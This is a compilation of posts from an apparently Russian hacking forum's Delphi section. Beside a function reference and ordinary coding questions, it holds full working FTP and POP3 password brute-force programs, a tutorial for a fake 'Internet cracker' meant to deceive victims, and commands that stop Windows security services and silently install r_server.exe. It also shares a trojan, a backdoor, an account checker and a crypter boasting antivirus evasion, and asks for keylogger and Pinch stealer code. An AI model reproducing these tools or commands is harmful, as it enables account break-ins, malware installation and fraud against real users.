System    ParamStr    Возвращается один из параметров используемых для запуска текущей программы
System    Pi    Математическая константа
Classes    Point    Генерирует значение TPoint из значений X и Y
Classes    PointsEqual    Сравнивает два значения TPoint на предмет равенства
System    Pos    Находит позицию одной строки в другой
System    Pred    Уменьшает порядковую переменную
  	Printer    Возвращает ссылку к глобальному объекту Printer
Dialogs    PromptForFileName    Показывает диалог, позволяющий пользователю выбрать файл
Types    PtInRect    Проверяет, находится ли точка в пределах прямоугольника
Math    RadToDeg    Преобразовывает значение радиана в градусы
System    Random    Генерирует случайное целое число или число с плавающей запятой
Math    RandomRange    Генерирует произвольное число в пределах введённого диапазона
DateUtils    RecodeDate    Изменяет только дату переменной TDateTime
DateUtils    RecodeTime    Изменяет только время переменной TDateTime
Classes    Rect    Создаёт величину TRect с указанием 2 точек или 4 координат
SysUtils    RemoveDir    Позволяет удалить директорию
SysUtils    Rename    Переименовка фала
SysUtils    RenameFile    Переименование файла или директории
System    Round    Округление чисел с плавающей запятой до целого числа
System    RunError    Заканчивает программу с диалогом ошибки
System    SeekEof    Пропускает символы, пока не встретится конец файла
System    SeekEoln    Пропускает символы, пока не встретится конец текущей строки или файла
FileCtrl    SelectDirectory    Выводит диалоговое окно, с помощью которого пользователь может выбрать директорию
SysUtils    SetCurrentDir    Изменяет текущую директорию
System    Sin    Синус числа
System    SizeOf    Возвращает занимаемый размер типа или переменной в байтах
System    Slice    Создает часть массива с параметром "Открытый Массив"
System    Sqr    Возвращает квадрат числа
System    Sqrt    Возвращает квадратный корень числа
System    StringOfChar    Создает строку из одного символа, повторенного много раз
System    StringReplace    Заменяет одну или несколько подстрок, найденных в заданной строке
System    StringToWideChar    Преобразует обычную строку в WideChar-буфер с завершающим 0
SysUtils    StrScan    Ищет заданные символы в строке
SysUtils    StrToCurr    Преобразует числовую строку в денежное выражение
SysUtils    StrToDate    Конвертирует строку с датой в значение типа TDateTime
SysUtils    StrToDateTime    Конвертирует строку с датой и временем в значение типа TDateTime
SysUtils    StrToFloat    Преобразует числовую строку в значение с плавающей запятой
SysUtils    StrToInt    Преобразует строку с целым значением в Integer
SysUtils    StrToInt64    Преобразует строку с целым значением в Int64
SysUtils    StrToInt64Def    Преобразует строку с целым значением в Int64, учитывая значение по умолчанию
SysUtils    StrToIntDef    Преобразует строку с значение с типом Integer, учитывая значение по умолчанию
StrUtils    StrToTime    Конвертирует строку с временем в значение с типом TDateTime
StrUtils    StuffString    Заменяет часть одной строки на другую
StrUtils    Succ    Инкрементирует порядковую переменную
Math    Sum    Находит сумму элементов массива, состоящего из чисел с плавающей точкой
Math    Tan    Тангенс числа
SysUtils    Time    Возвращает текущее время
SysUtils    TimeToStr    Конвертирует значение времени типа TDateTime в строку
DateUtils    Tomorrow    Возвращает дату завтрашнего дня
SysUtils    Trim    Удаляет начальные и конечные пробелы в строке
SysUtils    TrimLeft    Удаляет начальные пробелы в строке
SysUtils    TrimRight    Удаляет конечные пробелы в строке
System    Trunc    Целая часть числа с плавающей запятой
System    UpCase    Преобразует значение Char к верхнему регистру
SysUtils    UpperCase    Изменяет символы в строке из нижнего регистра в верхний
Variants    VarType    Возвращает текущий тип Variant переменной
System    WideCharToString    Копирует строку WideChar, заканчивающуюся нулём, в нормальную строку
SysUtils    WrapText    Добавьте перенос строки в строку, чтобы имитировать перенос слов
DateUtils    Yesterday    Выдает вчерашнюю дату

Работа со строками

Code:Copy to clipboard

AnsiCompareStr    Сравнение двух строк на равенство
AnsiCompareText    Сравнение двух строк на равенство
AnsiContainsStr    Возвращается истина, если строка содержит подстроку
AnsiEndsStr    Возвращется истина, если строка заканчивается подстрокой
AnsiIndexStr    Сравнивает строку со списком строк, возвращает соответствующий индекс
AnsiLeftStr    Извлечённые символы слевой стороны строки
AnsiLowerCase    Символы верхнего регистра изменяются в строку со строчными буквами
AnsiMatchStr    Возвращается истина, если строка точно соответствует какой-либо строке из списка
AnsiMidStr    Возвращает подстроку из средних символов строки
AnsiPos    Находит позицию одной строки в другой
AnsiReplaceStr    Заменяет часть одной строки другой
AnsiReverseString    Переворачивает последовательность символов в строке
AnsiRightStr    Извлечение символов с правой стороны строки
AnsiStartsStr    Возвращается истина, строка начинается подстрокой
AnsiUpperCase    Символы нижнего регистра изменяются на символы верхнего регистра
CompareStr    Сравнивает две строки, чтобы увидеть, какая из них больше
CompareText    Сравнивает две строки, игнорируя регистр
Concat    Соединяет несколько строк в одну
Copy    Создает копию части строки или части массива

Pos    Находит позицию одной строки в другой
Delete(var Source: string; StartChar : Integer; Count : Integer );
Insert(const InsertStr:string; var TargetStr: string; Position: Integer );
Length ( const SourceString : string ) : Integer;

QuotedStr(mystring) заключает строку в кавычки

Конвертация

Code:Copy to clipboard

CelsiusToFahrenheit	Конвертирует значение температуры из Цельсия в Фаренгейта
Chr  	Конвертирует целое число в символ
Convert  	Преобразует одну величину измерения в другую
CurrToStr    Преобразует денежную величину в строку
CurrToStrF    Преобразует денежную величину в строку с форматированием
DateTimeToFileDate    Преобразует значение TDateTime в формат date/time формат файла
DateTimeToStr    Конвертирует значение даты и времени TDateTime в строку
DateToStr    Преобразует значение даты TDateTime в строку
DegToRad    Преобразование значения градусов в радианы

Математические

Code:Copy to clipboard

Abs    Предназначена для получения абсолютной величины числа (модуль)
Addr    Возвращает адрес переменной, функции или процедуры
ArcCos    Арккосинус числа, возвращается в радианах
ArcSin    Арксинус числа, возвращается в радианах
ArcTan    Арктангенс числа, возвращается в радианах
Cos    Косинус числа

Дата и время

Code:Copy to clipboard

Date    	Возвращает текущую дату
DayOfTheMonth    Дает день месяца для значения TDateTime (ISO 8601)
DayOfTheWeek    Возвращает индекс дня недели для значения TDateTime (ISO 8601)
DayOfTheYear    Выдает день года для значения TDateTime (ISO 8601)
DayOfWeek    Выдает индекс дня недели для значения TDateTime
DaysBetween    Выдает целый число дней между 2 датами
DaysInAMonth    Выдает число дней в месяце
DaysInAYear    Выдает число дней в году
DaySpan    	Выдает дробное число дней между 2 датами

Работа с файлами, дисками

Code:Copy to clipboard

ChangeFileExt    Изменяет расширение имени файла
CreateDir    	Создаёт директорию
DeleteFile    Удаляет файл, указанный в параметре
DirectoryExists    Возвращает true, если указанная директория существует
DiskFree    	Выдает число свободных байтов на указанном диске
DiskSize    	Выдает размер указанного диска в байтах

Ситуация такова, есть PCI платы Advantech, довольно старые. Управление ими идет из доса, инициализация и пр. Платы эти АЦП и ЦАП и еще одна плата релешная, вот и хотелось би их как то перевести на винду, драйверов не нашел для них, код инициализации приведу в аттаче.
Пример процедуры для остальных плат

Code:Copy to clipboard

Procedure Spindel_On;
Begin
  Port[pcl726+4]:=Round(S*4.095) div 256;{max}{min=0}
  Port[pcl726+5]:=Round(S*4095) mod 256;
  Port[pcl725]:=2;
End;

Procedure Spindel_Off;
Begin
  Port[pcl726+4]:=0;
  Port[pcl726+5]:=0;
  Port[pcl725]:=0;
End;

 Procedure Z_Left;
 Begin
   V:=2048-Trunc(F);
   Port[pcl726+2]:=V Div 256;
   Port[pcl726+3]:=V Mod 256;
 End;

Соответсвенно инициализируеться тока 833 плата, для остальных идет просто отправление значения на порт, кто с таким работал подскажите как все это перевести в делфи.
Плата 833 - АЦП, 726 - ЦАП, 725 - блок реле.

Собственно вот... нужно высчитывать паралельно ходу программы одну величину, ну если подробно надо будет описать то опишу, но пока не суть. Вот собствено и вопрос, как запустить вычисление паралельным потоком, брать от туда значения переодически...

Была на примете 1 книга, найти не удалось. Нашёл другую со схожим названием, не впечатлила. В основном поиск выдаёт примеры реализации, но меня интересует также и теория.
Тагшто сабж .

Интересный трой на делфи, сорцы в архиве...

пасс - xss.is/

Скачать|Download

вот как мне на делфи залить файл на rapidshare.com

Code:Copy to clipboard

var sl: Tstrings;
begin
sl := TStringList.Create;
sl.Add('filecontent=1.jpg');

try
idhttp1.Post('http://rapidshare.com/cgi-bin/upload.cgi', sl);
finally
sl.Free;
end;

хз правельно не правельно)) как мне еще поллучить в ответе ссылку.. он мне возращает страничку типо how use rapidshare ))

памагите мне я бландинко

По заявкам завсегдатаев вконтакта написал простенький чекер акков,
вбиваете майл, пасс - чекаете, в случае успеха узнаёте id акка и
имя зареганного, в комплекте положил исходник на делфях, для тех
кто захочет развить идею и тех кому просто интересна реализация,
для юзания у вас должен быть установлен компонент Indy [10].
Все вопросы/пожелания)) приветствуются B)
Качать:
_http://depositfiles.com/files/3662036
_http://rapidshare.com/files/93865210/VKontakte.rar
Только сорцы:
_http://dump.ru/files/o/o992615784/

Так уж точно дольше храниться будет
Пасс: Pir4tt.NE.vkontakte

Есть алгоритмы по дешифрованию на дельфи?

H! Надеюсь тут поможите
Как можно заморозить цикл на определенное время с помощью таймера, при двух условиях:

1. Цикл находится в функции и только в ней
2. Нельзя объявлять глобальные переменные
   Вот вообщем:

Code:Copy to clipboard

function mail: string;
var
Ls: TStringList;
i: inteher;
begin
for i:=1 to 10 do
 begin
  Ls := TStringList.Create;
  Ls.LoadFromFile('mail.txt');
  mail:= Ls.Strings[i];
//тут должен находиться код каторый будет тормозить цикл на час, но не тормозить весь код,как в случии sleep, вообщем условие какое то
end;

Автор проги Minu.
Официальная тема: http://forum.asechka.ru/showthread.php?t=20534

Я переписал её под себя и добавил несколько функций, таких как: автопоиск QIP'а, сохранение UIN;PASS и ещё чего-то...

Кому надо пользуйтесь. Не забывайте благодарности автору.

В аттаче исходник и прога.

[mod][Amper:] Желательно писать всё в одном сообщени... Объединил.[/mod]

Прошу помочь, кто хоть что-то знает по теме: исходники Парсера для пинча 2.
Написани в принципе на Delphi - хотелось бы найти версию выше чем для pinch1.0. Искал много но ссылки битые, тема стара - может на винте у кого либо остались Pinch_2_src :help:

Добрый день, вечер, утро...

Я хочу написать свой KeyLogger, и почти знаю как, но господа, <_< как реализовать механизм постоянного считывания нажимаемых клавиш??? Эдакий hook...
Чтобы он постоянно считывал все вводимые символы???
Буду признателен за любую информацию...

Спасибо1

Парни как выполнить следуюшие команды через Delphi, если это вообще реально...

CMD>NET STOP wscsvc
CMD>NET STOP sharedaccess
CMD>%windir%/r_server.exe /install /silence

не компилится для компиляции необходим delphi 6, а у меня delphi 7 :bang:

Помогите плиз! Я уже отчаялся.. В инете все облазил.

Написал сервис, пользуясь стандартным Service Application (TService).

с ключами /install и /uninstall работал волшебно.

Стал запихивать его в инсталлятор - сервис перестал запускаться. Файл копируется куда надо, служба создается, но висит постоянно в состоянии "запуск"

Думаю ладно, фиг с тобой. Написал батник.
Проверяю им наличие файла, если нет - копирую и запускаю с ключом /install
после выполнения делаю Net Start
Все бы ничего, да вот беда, при выполнении команды /install у юзера выскакивает сообщение об успешной установке сервиса.

Как его убрать?
Слышал, что существует ключик /silence или /silent - пробовал, но мой сервис таких "слов" не знает

Подскажите пожалуйста.
Надо решить проблему либо MSI пакетом либо батником без вывода сообщения.
Скрытно поставить службу на клиентах

Всю башку сломал уже. ниче не получается.... :cry2:

Крякер Интернета =) на Делфи

--------------------------------------------------------------------------------

Key Lord (key_lord@ru.ru)

Привет, кул хацкер! Наверно, ты уже много слышал про такую рульную прогу, как крякер Интернета. Я уверен, что некоторые уже даже успели пообщаться с этим чудом прогресса. Давай я угадаю, чем это закончилось:

1. у тебя весь винт оказался заражен вирем вин-чих;

2. у тебя каким-то макаром сам отформатировался винт;

3. крякер шел в битом .ехе архиве.

Ну и, конечно же, никакого Инета на халяву ты не поимел. Короче для тех, кто в танке: все крякеры Инета являются троянами/вирями в открытом виде. Как ты, надеюсь, понял, раздавать троянов напрямую под видом Inet Cracker мы не будем. Это, типа, не в стиле Х. Если мы уж и будем делать взломщик Инета, то профессионально, и чтоб он не вызывал и у юзверей ни капли подозрения.

Делаем фейс

На этом этапе тебе понадобятся минимальные познания в программировании, т.к. сейчас мы займемся написанием собственно самого крякера. Не надо задумчиво чесать репу и листать журнал дальше. От тебя потребуется умение лишь слепить красивый фейс + оживить всякие кнопели, менюшки и др. детали твоей мега проги. Дальнейшие примеры я буду приводить на Delphi.

Самые азы тебе уже рассказал KurT в Х #10 за 99-й год, так что сразу File ->New Application и в бой. Сначала слепи приятный и красивый интерфейс проги. Делается это все мышкой, и особого ума здесь не надо. Вот тебе пара советов: налепи от балды побольше всяких фенечек, где надо вводить... ну там телефон прова, желаемый логин, сколько надо поиметь пассвордов, ну и все такое. Да, и не забудь навешать в прогу всяких там умных слов, типа Net Mask, Default Port, DNS, MAC&IP address и т.д. Но, смотри, не сделай перебора и не напори полной фигни, а то ведь даже полные ламаки поймут, что их хотят поиметь. А это не есть гуд.

Я впихнул компонент Tmemo (mmCom), в котором будут выводиться комментарии по ходу процесса взлома Инета и другая лапша. Также я не забыл выложить батон About, после нажатия на который будет выводиться "инфа от разработчика": типа кто же написал такую рульную прогу и кого за это чудо благодарить. Кстати, я советую не писать свой реальный ник в крякере.

Ну что, справился? Надеюсь, да. Идем дальше. Помимо демонстрации красивого интерфейса, наша прога должна подавать и какие-то признаки жизни, создавать видимость усиленной работой над взломом Инета. Ну, короче, своими действиями показывать, что что-то реально делает, и внушать юзверям доверие. Поэтому я предлагаю повесить на событие OnChange (или OnEdit) в TEdit-ах присвоение Tag-у этого же тэдита значение 1. Потом после старта процесса взлома проверяем значение Tag-а у каждого TEdit-а. Если все они равны 1, то все ОК, и делаем все что положено, а если нет, то говорим юзверю, что, типа, баклан, не гони беса и введи все как надо.

Code:Copy to clipboard

if (edPool.Tag=1) and (edUrl.Tag=1) then {делаем все что положено} else ShowMessage ('Hey! Backlan enter your data!');

Если кто не въехал, то это заставит жертву заполнить своими данными все бланки в проге, а не, бегло осмотрев прогу, нажать Start Cracking и ждать халявного Инета. )

Итак, кое-что уже сделали. Теперь делаем самое главное, кернел всей проги - процесс эмуляции взлома Инета. ))) Как я уже говорил, в моем примере я вставил компонент TМemo, в котором и будет идти крякание. После нажатия на батон Start Cracking и проверки введенных данных я запускаю лохотрон:

Code:Copy to clipboard

btStart.Enabled:=False;//вырубаем кнопку Start Cracking

Screen.Cursor:=crHourGlass;//меняем мышку

mmCom.Lines.Add('Trying to connect '+edUrl.Text+' ...... ');

for i:=1 to 200000000 do;//имитация паузы

ggProcess.Position:=ggProcess.Position+13;

mmCom.Lines.Add('OK');

Небольшой комментарий. Сначала мы вырубаем кнопель Start Cracking и меняем мышака на песочные часы. Могу поспорить, все, не знающие прикола, подумают, что прога начала обрабатывать кучу данных, производить ХЗ (Хакер Знает) какой степени сложности вычисления. Ну ладно, типа пусть так и думают. В 3-й строке я добавляю в лохотрон (mmCom) первую порцию лапши на обвислые уши ламака. Пусть он думает, что крякер пытается законнектиться с серваком прова. Для создания тормозов служит строка for i:=1 to {ого-го} do;. Чем больше ого-го, тем дольше будет тормозная пауза. Но чем быстрее камень, тем она будет меньше, учитывай и это. Потом я ставлю ~13% в полосе "осталось до халявного Инета". Дальше поступаешь аналогично. Все зависит от твоей фантазии, а от нее зависит, поверит ли тебе юзверь или нет. При хорошем раскладе и продуманных сообщениях лохотона ламак может пару раз прогнать взломщик на своем компе, и если Инет ломануть не получится (хе-хе), то запустит прогу на машине своего другана-ламака (типа может это мой маздай глючит, а у другана все заработает).

Конец (не то, о чем ты подумал) у моей проги такой:

Code:Copy to clipboard

mmCom.Lines.Add('#########################');

mmCom.Lines.Add('Internet is Cracked !!! Congratulations!');

mmCom.Lines.Add('=========================');

btStart.Enabled:=True;//включаем кнопку Start Cracking

ttTimer.Enabled:=True;//включаем таймер

....

{OnTimer:}

ttTimer.Enabled:=False;

fmCracker.Visible:=False;

ShowMessage('Sorry, but in kernell32.dll was an error (code: E024365). Program now will be terminated.');

Close;

Как видишь, в конце прога возвращает Start Cracking в исходное состояние и включает таймер. Вся штука в том, что после срабатывания таймера окно проги исчезает и выводится сообщение об ошибке в kernell32.dll. Перед включением таймера можешь вставить код, выводящий какую-нибудь туфту, типа крякнутых пассвордов, и т.п. Ясен пень, что эти пассворды берутся чисто научным способом "от балды", хотя ты можешь каждый раз генерить разные пароли. Сам прикол в том, что посмотреть, запомнить и записать на бамажку пароли ламак не сможет, т.к. интервал таймера маловат (1-3 сек. Кстати, вводятся они в милисеках, т.е. надо вводить 1000-3000). А после его срабатывания прога выводит сообщение о глюке в кернел32.длл. Вот и опаньки ламаку. ) Даю тебе 100 пудовую гарантию, что ламак пару раз прогонит прогу, надеясь, что ошипопробовать? Или запустить у моего друга Васи Пупкина).

Короче, пошевели мозгами, загрузи в верхний отдел правого полушария драйвера prjamye_ruki.sys, fantazi.sys, и все будет ОК. При разработке проги не забудь слепить для нее новую иконку. Для того, чтобы после компиления проги она имела эту самую иконку, запихни ее в Project->Options->Application (icon).

Источник: журнал "Хакер"

Вот старенькая но очень эффектная прожка)) можно расслабиться в выходные и над кем нибудь пошутить. Знаю что несерьёзно всё это... сильно не ругайте.

Всем re :help:
Вообщем возникла проблема с созданием формы ввода и проверки пароля....прошу помощи
Форму создал, ввод осуществил, но мне нужно чтобы введеный пароль проверялся с паролем который введен в тескстовом документе...в случае если пароли совпадают я бы спокойно перемещался на другую форму...
Помогите плз :baby:
Язык Делфи....

народ спасите. как реализовать в фоновом приложении :bang: постоянную слежку за программой(запущенно ли она)

Интерфейс USB

Павел Агуров
Интерфейс USB.
Практика использования и программирования (+ CD-ROM)
Серия: Аппаратные средства

От издателя
Изложены базовые сведения по интерфейсу USB для ПК: примеры USB-устройств и советы по их выбору, правила установки и конфигурирования устройств, методы решения возникающих проблем. Описаны кабели, разъемы, принципы питания устройств и другое аппаратное обеспечение.
Приведено внутреннее устройство USB и его физическая реализация, обсуждены общие вопросы написания драйверов для операционной системы Microsoft Windws 2000/XP с примерами на языке Borland Pascal и в среде Delphi. Рассмотрен процесс создания USB-устройства: от выбора микросхем и схемотехники до написания программы микроконтроллера и WDM-драйвера. В книге содержится большое количество практических советов и примеров программ. Для удобства читателей все исходные коды приводятся на прилагаемом компакт-диске.
Для пользователей ПК, разработчиков аппаратуры и программистов.
Издательство: БХВ-Петербург ,
2004 г.
Мягкая обложка, 564 стр.
ISBN 5-94157-202-6
Тираж: 3000 экз.
Формат: 70x100/16

Скачать|Download
Зеркало

Файлы с диска, комплектуемого к книге:
Скачать|Download
Зеркало

подскажите плиз как на делфи подключиться к СОМ порту и передать а затем получить данные

Подскажите пожалуйста как реализовать искуственное увеличение размера exe файла на указанный размер на delphi. Например увеличить файл на 500kb, и чтобы при этом его работоспособность сохранилась.Спасибо.

Краткое руководство по написанию брутера на делфях. Брутофорсер – важный инструмент любого хакера. Конечно, есть много готовых решений, типа виндового Brutos’а и nixовой Гидры. Но куда приятней пользоваться собственноручно написанной программой, которая отвечает всем твоим требованиям.
Эта статья рассчитана на новичков, желающих разобраться в сетевом программировании.

Итак, наш Брутофорсер будет подбирать пасы по протоколам FTP и POP3. Причем при работе с FTP мы будем пользоваться функциями Internet Api, а пароли к мылу будем подбирать с помощью сокетов.

FTP
В принципе можно разобрать протокол FTP, прочитав RFC 959, и реализовать брутофорсер, используя сокеты. Но зачем идти длинным путем, когда в Винду встроены функции для удобной работы не только с FTP, а еще и с HTTP, Gopher. Все это реализовано в библиотеке WinInet.dll.

Начинать работу с библиотекой стоит с использования функций InternetOpen. Функция принимает 5 параметров: lpszAgent, dwAccessType, IpszProxy, IpszProxyBypass, dwFlags – и вернет значение типа HINTERNET, который нам понадобится в дальнейшем. Первый параметр – IpzAgent. Строка, передаваемая серверу, содержащие имя программы пославшей ее. Например, Ослик передает строчку «Microsoft Internet Explorer». Следующий параметр (dwAccessType) задает свойства доступа. Может принимать такие значения INTERNET_OPEN_TYPE_DIRECT (все имена хостов обрабатываются на нашем компьютере), INTERNET_OPEN_TYPE_PROXY (использует прокси-сервера), INTERNET_OPEN_TYPE_PRECONFIG (устанавливает все значения из реестра(HKEY_CURRENT_USER\Software\Microsoft\Windo ws\CurrentVersion\Internet Settings)). IpzProxy – адрес прокси-сервера, учитывается только в случае INTERNET_OPEN_TYPE_PROXY, в остальных случаях смело можно писать nil. IpszProxyBypass –список имен и айпишников, связь с которыми нужно устанавливать в обход проксей. И наконец последней параметр – dwFlags. Он задает параметры, влияющие на Internet-функции. Пример использования:

hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONF IG,nil,nil,0);

После вызова InternetOpen нужно соединиться с FTP-сервером и залогиниться на нем. Делается это при помощи функции InternetConnect.
Параметры функции:
HInet – Указатель на соеденение, полученный с помощью InternetOpen.
IpszServerName – имя или IP-адрес сервера, с которым нужно связаться.
nServerPort – номер порта, с которым нужно соедениться (Стандартный порт для FTP-сервера – 21).
IpszUserName – Имя пользователя, под которым нужно войти на сервер.
IpszPassword – пароль пользователя.
dwService – задает сервис. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOHER, INTERNET_SERVICE_HTTP.
Пример использования:
hconnect:=InternetConnect(hInet,’localhost’,21,’ad min’,’admin’,INTERNET_SERVICE_FTP,0,0);
Теперь, если InternetConnect вернул nil, то связка логина и паса некорректная (хотя может быть так, что админ запалил перебор, и внес наш IP-адрес в black- лист). Если такого не произошло, то мы получаем указатель на установленное соединение. Далее мы можем просто вывести на экран сообщение о успешном подборе, а можем закачать, скачать, удалить файл. Делается при помощи функций FtpPutFile, FtpGetFile, FtpDeleteFile. На этой радостной ноте я хочу закончить с рассказом о FTP-брутофорсере и InternetApi и плавно перейти к подбору пасов для мыла.

Code:Copy to clipboard

{ML2 FTP BRUTER v 0.01a
written by TanKisT
}
program brut;
{$APPTYPE CONSOLE}

uses
WinInet;

var ftpname,file1,pass:string;
port:Word;
F1:textfile;
hInet: pointer;
hConnect: pointer;
ftp:Pchar;
login:array [0..255] of Char;
begin
//Получаем цель и словарик для брута
Write('Name or IpAdress of FTP server: ');
Readln(ftpname);
Write('port: ');
Readln(port);
Write('Login: ');
Readln(login);
Write('File for brut: ');
Readln(file1);
Assign(F1,file1);
{$I-}
reset(f1);
{$I+}
//Проверка на существование файла
If (IOResult<>0) or (file1='') then
begin Writeln('can''t open file'); Readln; halt end;
//Начало работы с InternetApi
hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONF IG,nil,nil,0);
If hInet=nil then begin writeln('can''t connect to Internet'); Readln; halt; end;
ftp:=PChar(ftpname);
// Начинаем брут
While not eof(F1) do
begin
Readln(f1,pass);
Writeln('Try ',login,' ',pass);
// Пытаеся соединиться с ФТП серверов.
hconnect:=
InternetConnect(hInet,ftp,port,login,PChar(pass),I NTERNET_SERVICE_FTP,0,0);
//Проверяем валидность логина и пароля
If hconnect <> nil then writeln('True') else writeln('False');
InternetCloseHandle(hconnect);
end;
InternetCloseHandle(hInet);
Readln;
end.

POP3
Увы, Microsoft не упростила нам жизнь, и работу по протоколу POP3 нам прийдется реализовать на сокетах. Мы будем использовать библиотеку WinSock. Для начала разберемся, что такое сокет. Это виртуальный сетевой канал, который можно использовать для соеденения с любым портом сервера. Теперь разбуремся с работой сокетов.
Сначала нам нужно инициализировать библиотеку WinSock. Для этого нужно воспользоваться функцией WSAStartup, которая принимает два параметра: Первый – наивысшая версия WinSock, которую можно использовать. Второй структура типа TWSAData, в которой будет сохранена информация о WinSock.
Далее нужно инициализировать сокет при помощи функции socket. Параметры:
Af – Тип использоваемой адресации. Struckt – Базовый протокол. Для TCP нужно писать Sock_stream, для UPD – SOCK_DGRAM. Protocol – протокол по которому будем общаться с сервером.
Пример использования:
FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
Для соединения нужно подготовить структуру типа TSockAddr. Основные поля, которые нужно заполнить – sin_family, sin_addr, sin_port. Sin_family – семейство используемой адресации, sin_addr – IP-адрес сервера. Sin_port – порт подключаемого сервера. Пример использования:
addr.sin_family:= AF_INET;
addr.sin_addr:= 127.0.0.1;
addr.sin_port:= htons(101);
Теперь соединяемся с сокетом. Функция connect, у которой есть три параметра:
Переменная сокет, структура типа TSockAddr, размер структуры, который можно получить при помощи функции SizeOf. Пример использования:
connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn));
Отправить серверу строку можно при помощи функции send. Принимающей четыре параметра: Переменная сокет, Строка, размер строки, флаги. Пример использования.
send(FSocket,str,lstrlen(str),0);
Ответ сервера принимаем при помощи функции recv. Параметры: переменная сокет, буфер для ответа, размер буфера, флаги.
recv(FSocket,Buf,255,0);
Полностью протокол POP3 нам разбирать не стоит. Нам нужны только две команды – user и pass. При успешной авторизации сервер нам выдаст ответ “+OK”, при ошибке – “-ERR”. Так проверяя ответы сервера, можно узнать успешно ли мы залогинились.
If Buf[1]=’+’ then Writeln(‘true’) else Writeln(‘false’);
Вот полный код брутофорсера:

Code:Copy to clipboard

{ML2 POP3 BRUTER v 0.01a
written by TanKisT
}

program mbrut;
{$APPTYPE CONSOLE}

uses
windows,
Winsock; //Подключаем модуль WinSock


var wsadata:TWSAData;
SockAddrIn: TSockAddrIn;
host,filename,pass:string;
port:word;
FSocket: TSocket;
Str,user: array [0..255] of Char;
Buf:array [0..255] of Char;
F1:TextFile;

begin
// Получем цель для брута
Write('IP-adress of host: ');
Readln(host);
Write('port: ');
Readln(port);
Write('login for brut: ');
Readln(user);
port:=110;
filename:='a.txt';
assign(f1,Filename);
reset(f1);
WSAStartUp(257, wsadata); //Инициализация WinSock
SockAddrIn.sin_family:=AF_INET;
SockAddrIn.sin_port:=htons(port);
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
while not Eof(f1) do
begin
Readln(F1,pass);
FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //Подготовка сокета
connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn)); //Соеденение
recv(FSocket,Buf,255,0); //Получаем ответ сервера
If Buf[0]<>'+' then begin writeln('can''t connect'); readln; halt end;
lstrcpy(Str,PChar('user '+user+#13#10#0)); //Подготавливаем запрос
send(FSocket,str,lstrlen(str),0); //Отправляем запрос с логином
recv(FSocket,Buf,255,0);
If Buf[0]<>'+' then begin writeln('can''t connect'); readln; halt end;
lstrcpy(Str,PChar('pass '+Pchar(pass)+#13#10#0));
send(FSocket,str,lstrlen(str),0); //Отправляем запрос с паролем
recv(FSocket,Buf,255,0); // Получаем ответ сервера и парсим его
If Buf[0]='+' then Writeln(pass+' ..true') else Writeln(pass+' ..false');

end;

WSACleanUp();//Заканчиваем работать с WinSock
Readln;
end.

Данная статья была рассчитана на новичков и призвана познакомить с сетевым программированием. Возможно, в следующих статьях я расскажу о многопоточности, асинхронизированных сокетах и других интересных вещах.

Люди добрые, кто что про это знает, слышал или имеет хоть какой то опыт, поделитесь...., столкнулся с необходимостью разработать свой недоклиент подобного чуда, вот, выясняю, кто чем помочь на этот счёт может...?
За ранее спасибо....) <_<

Всем привет.
Нужна помощь со службами Винды.

Добавляю службу в винду, которая запускает ехе
при загрузке винды ехе запускается - открывается форма, после чего (через несколько секунд) закрывается и виеда продолжает загружаться дальше.

Мне же нужно чтобы после загрузки винды окно оставолось открытым, это возможно?

Очередной BACKDOOR написанный на делфях, судя по статье в 2004 году, но для изучения кода ну и как пример для начинающих кодеров вполне сносно.

Вообщем есть сайт на котором мой товарищ будет продавать билеты на некоторое мероприятие. После оплаты клиенту будет выдан qr код для подтверждения личности на входе на мероприятие.

Задача - написать тулзу, которая считывает через вэб-камеру qr код и сравнивает с базой на предмет есть такой предоплаченный посетитель или нет. Т.к. условия будут полевые - использование интернета крайне затруднительно. Можно конечно поставить бабу с андроидом и бумажкой со списком оплаченных, но тогда вся идея нафиг не нужна.

Собственно вопрос. Если кто сталкивался с подобным или знает как реализовать - буду безумно рад любой помощи.

Платформа - Delphi7

Столкнулся с проблемой: Создав новый проект в визуальной среде резработки, и по привычке попробовал запустить пустышку сразу же получил по жопе от 2 AV, у меня на бору стоит MSE (Microsoft Security Essentials) и Eset SS4~, MSE орёт первым, если его отрубить, то орёт SS4....
MSE :

Категория: Вирус

Описание: Эта опасная программа распространяется, заражая другие файлы.

Рекомендуемое действие: Немедленно удалите это программное обеспечение.

Программой Security Essentials обнаружены программы, из-за которых могут подвергаться опасности конфиденциальные данные или возможно повреждение компьютера. Можно сохранить доступ к файлам, используемым этими программами, не удаляя их (не рекомендуется). Для доступа к этим файлам выберите действие "Разрешить" и нажмите кнопку "Применить действия". Если этот параметр недоступен, войдите в систему как администратор или обратитесь за помощью к администратору безопасности.

Элементы:
file:E:\Users\2\Desktop\Новая папка\Project1.exe

Click to expand...

SS4:

17.05.2011 22:28:59 Защита в режиме реального времени файл E:\Users\2\Desktop\Новая папка\Project1.exe Win32/Induc вирус удален - изолирован 2-ПК\2 Событие произошло при попытке доступа к файлу следующим приложением: E:\Program Files\Borland\Delphi7\Bin\delphi32.exe.

Click to expand...

Код проекта:

Code:Copy to clipboard

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

end.

[mod][Ar3s:] Картинку убил. Слишком большая. Рвет шаблон форума.[/mod]

Вообщем ночью делать было нечего, переписывал чейто криптор..
мало из этого хорошего вышло, но хоть каспер не палит и ещё пару антивирей, думаю если поверх чем нибуть прошить, то всё в шоколаде будет...)

пас: 555

Вечером выложу исходники, как отосплюсь)
Результаты проверки Ксинча 1.0:
Антивирус Версия Обновление Результат
a-squared 4.5.0.18 2009.07.08 MemScanTrojan.Muldrop.AHP!IK
AhnLab-V3 5.0.0.2 2009.07.08 Dropper/Agent.23040.U
AntiVir 7.9.0.204 2009.07.07 DR/Delphi.Gen
Antiy-AVL 2.0.3.1 2009.07.08 -
Authentium 5.1.2.4 2009.07.08 -
Avast 4.8.1335.0 2009.07.07 Win32rojan- gen {Other}
AVG 8.5.0.386 2009.07.08 -
